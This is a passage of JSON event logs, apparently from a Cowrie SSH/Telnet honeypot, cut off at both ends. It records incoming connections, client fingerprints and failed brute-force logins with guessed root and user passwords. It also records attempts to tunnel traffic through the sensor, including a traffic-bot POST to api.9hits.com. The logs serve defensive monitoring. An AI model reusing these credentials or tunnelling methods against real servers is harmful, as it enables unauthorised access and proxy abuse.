\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03-\\xa3\\xabj\\xa9\\x1eJX\\x02\\xcb\\xfd\\x1c\\xee\\x0b\\x80z\\x92[1\\xf4\\x92\\xb4{7\\x80(v\\xfe\\xf0\\x85\\xd3\\x7f d\\x1d\\x9e\\x88/^\\x08\\xad\\xe6F\\xa6\\x01J\\xe9U\\xb3\\x80\\xa7\\x0b,\\x02@\\xd4\\xcc\\xae\\xa7s\\xf3p\\xb4\\xdcy\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x91[k\\x8c,\\x90m\\xd3\\x91\\x9c\\x0e\\xe0\\x97\\xed\\xce>\\xb8\\x19\\x185\\x87\\xae1Y\\xf2\\xde\\xa8\\xdfu\\xdd1[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:48.635780Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:49.050060Z","src_ip":"123.27.168.40","session":"cf569654e79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:49.098915Z","src_ip":"91.92.40.36","session":"e80ac630f239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:49.419363Z","src_ip":"91.92.40.36","session":"8c580fc753f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20732,"dst_ip":"159.203.135.109","dst_port":22,"session":"3434e2caa1ec","protocol":"ssh","message":"New connection: 91.92.40.36:20732 (159.203.135.109:22) [session: 3434e2caa1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:54.488043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:54.587676Z","src_ip":"91.92.40.36","session":"3434e2caa1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:54.594366Z","src_ip":"91.92.40.36","session":"3434e2caa1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"earl","password":"earl","message":"login attempt [earl/earl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:55.670177Z","src_ip":"91.92.40.36","session":"3434e2caa1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":41056,"dst_ip":"159.203.135.109","dst_port":22,"session":"579d2cee4dc4","protocol":"ssh","message":"New connection: 41.90.100.147:41056 (159.203.135.109:22) [session: 579d2cee4dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:56.925228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:56.930491Z","src_ip":"41.90.100.147","session":"579d2cee4dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:57.085978Z","src_ip":"91.92.40.36","session":"3434e2caa1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:57.183999Z","src_ip":"41.90.100.147","session":"579d2cee4dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasdzxc!@#","message":"login attempt [root/123qweasdzxc!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:58.077166Z","src_ip":"41.90.100.147","session":"579d2cee4dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:31:59.298713Z","src_ip":"41.90.100.147","session":"579d2cee4dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54544,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0a6234908d0","protocol":"ssh","message":"New connection: 91.92.40.36:54544 (159.203.135.109:22) [session: c0a6234908d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:01.655275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:02.257272Z","src_ip":"91.92.40.36","session":"c0a6234908d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:02.260664Z","src_ip":"91.92.40.36","session":"c0a6234908d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59598,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd4ad585f739","protocol":"telnet","message":"New connection: 172.81.62.90:59598 (159.203.135.109:23) [session: fd4ad585f739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:02.690031Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":35996,"dst_ip":"159.203.135.109","dst_port":22,"session":"99b9c22f111d","protocol":"ssh","message":"New connection: 94.159.110.201:35996 (159.203.135.109:22) [session: 99b9c22f111d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:03.554611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:03.559271Z","src_ip":"94.159.110.201","session":"99b9c22f111d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:03.684635Z","src_ip":"94.159.110.201","session":"99b9c22f111d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23051995","message":"login attempt [root/23051995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:04.049506Z","src_ip":"94.159.110.201","session":"99b9c22f111d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:05.169785Z","src_ip":"94.159.110.201","session":"99b9c22f111d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales","password":"sales123","message":"login attempt [sales/sales123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:05.837042Z","src_ip":"91.92.40.36","session":"c0a6234908d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:07.920954Z","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:07.937109Z","src_ip":"91.92.40.36","session":"c0a6234908d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.088070Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SzxxTExDVWQpZilqOVYjIQ%3D%3DNj%2Bv2ocmYJk0ZTN9nWzxSjeQ9noyWzUfls7XkaBc48JeVbQQoT%2Fp%2FiUlJ9z%2F3Iv5Lb4aHIVfMhp342p%2FbdrBIFsUcmnYqUXmjVJxNumsiC1oJXVmrtR3D%2FDFbThjcooByoMR%2F92mft4l4u4q3faZr1FPpb7JWKuCywOTXr2t8c2jluu5EjVRZCtu5EIBZce4LvawKA%2FJTs5oW2BPlHfx8Va3a6hrGAJx7RdcpCNcSZGEJDi0oX8x8CyRL9v3ZurQbzJ3UJYCihJqcz8aNTfrs7EO822lI%2BrNH%2F9eh1ZzeEsfv13Wuq0zTFXj%2BXfi%2FoZ3nRSmEdvNDy8Z4mvrn6oidPOnuSIuY2XZrax0D%2BQoaSB62lDBS5l0jk2mJnTOk1V78m9E2zI86s%2BnvKh%2B49h5SxMbKEocI5%2FX2oYcVi0eLTnezzPzm7cAyKr%2Bagy65g6hf07Fgc%2FycdWYlS%2FS%2BdKIidCw0zyW%2Fwx0I1AZ8KEDytXC%2Bcyrm55szi8rxSIvb%2B%2FSHI2H%2FFS2ptYd6puaEckwTp1jWbJsChs1Oei270B8vwK3uqVEPRzXFRY4XDxLvB3p8qVGCcvSN3tLZLXHGxiXWqsP7ywYEVeS9qZJYcbJj5aCSrJtHg%2BxEDDEQV3RpzX8w1lbm76p37DYKJeSOgVY6I0IZ681%2FGsx7Qirb%2F4H5FLE00moPo8X0qdji7PoHnrL%2BYTTaDhpu%2BXKXfcIvKIRa4Dk2Dp8z4ycQcmrPFp8FwlOQVVs0BNr2AqzciGSbYaTPN7xAvYGzMIGg5o1bgKOr1vSS7O6Y%2Bx5OW9Ve8g0hn7odg4U32%2BR%2FqTOGQkSFzvIPiGi7R95kG5jKfqqoahhmI0KCxVBQXa2pOCrJjyRcQcZNUsvG7k2fi5%2BHFf2hDnFxXyPLzba0ogwJYR1Vi0YdyGEfF0eQGWr3DyE9lMVeuQGdlds%2F8wWYaa7es3WyBBNrMMOgtIsXp%2FKeVLAftXIRD5SyA3fmULc5L5%2F6CmLaExuORoC2FOhJcoVczpPHQUManNzFtwoNmhPSThlA4HTg0GLAlDCYRgBVCFzWHdHNQ0%2FerP2DwFMd4ntWUz7SLNq'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SzxxTExDVWQpZilqOVYjIQ%3D%3DNj%2Bv2ocmYJk0ZTN9nWzxSjeQ9noyWzUfls7XkaBc48JeVbQQoT%2Fp%2FiUlJ9z%2F3Iv5Lb4aHIVfMhp342p%2FbdrBIFsUcmnYqUXmjVJxNumsiC1oJXVmrtR3D%2FDFbThjcooByoMR%2F92mft4l4u4q3faZr1FPpb7JWKuCywOTXr2t8c2jluu5EjVRZCtu5EIBZce4LvawKA%2FJTs5oW2BPlHfx8Va3a6hrGAJx7RdcpCNcSZGEJDi0oX8x8CyRL9v3ZurQbzJ3UJYCihJqcz8aNTfrs7EO822lI%2BrNH%2F9eh1ZzeEsfv13Wuq0zTFXj%2BXfi%2FoZ3nRSmEdvNDy8Z4mvrn6oidPOnuSIuY2XZrax0D%2BQoaSB62lDBS5l0jk2mJnTOk1V78m9E2zI86s%2BnvKh%2B49h5SxMbKEocI5%2FX2oYcVi0eLTnezzPzm7cAyKr%2Bagy65g6hf07Fgc%2FycdWYlS%2FS%2BdKIidCw0zyW%2Fwx0I1AZ8KEDytXC%2Bcyrm55szi8rxSIvb%2B%2FSHI2H%2FFS2ptYd6puaEckwTp1jWbJsChs1Oei270B8vwK3uqVEPRzXFRY4XDxLvB3p8qVGCcvSN3tLZLXHGxiXWqsP7ywYEVeS9qZJYcbJj5aCSrJtHg%2BxEDDEQV3RpzX8w1lbm76p37DYKJeSOgVY6I0IZ681%2FGsx7Qirb%2F4H5FLE00moPo8X0qdji7PoHnrL%2BYTTaDhpu%2BXKXfcIvKIRa4Dk2Dp8z4ycQcmrPFp8FwlOQVVs0BNr2AqzciGSbYaTPN7xAvYGzMIGg5o1bgKOr1vSS7O6Y%2Bx5OW9Ve8g0hn7odg4U32%2BR%2FqTOGQkSFzvIPiGi7R95kG5jKfqqoahhmI0KCxVBQXa2pOCrJjyRcQcZNUsvG7k2fi5%2BHFf2hDnFxXyPLzba0ogwJYR1Vi0YdyGEfF0eQGWr3DyE9lMVeuQGdlds%2F8wWYaa7es3WyBBNrMMOgtIsXp%2FKeVLAftXIRD5SyA3fmULc5L5%2F6CmLaExuORoC2FOhJcoVczpPHQUManNzFtwoNmhPSThlA4HTg0GLAlDCYRgBVCFzWHdHNQ0%2FerP2DwFMd4ntWUz7SLNq'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.091359Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.097020Z","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:08.133268Z","src_ip":"63.141.242.2","session":"32c52a08dd98","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\x16=(=\\xee.\\xa5\\xa8\\xafc\\xaaf\\x83k:\\xcb)\\xffy\\x94\\x10SY\\xd7\\xa8\\x9a\\xea\\x9c+\\xce\\xc0 !\\x95\\xc7\\x85\\xe3\\xd0CK\\x91\\x91+\\xdae\\xe0\\xc1\\xf6\\x8e\\x11\\x1c\\xf3\\xf8\\xd8\\xe9O\\xb5\\xe3\\xa1\\r\\xf1\\xa7\\x0e\\xda\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 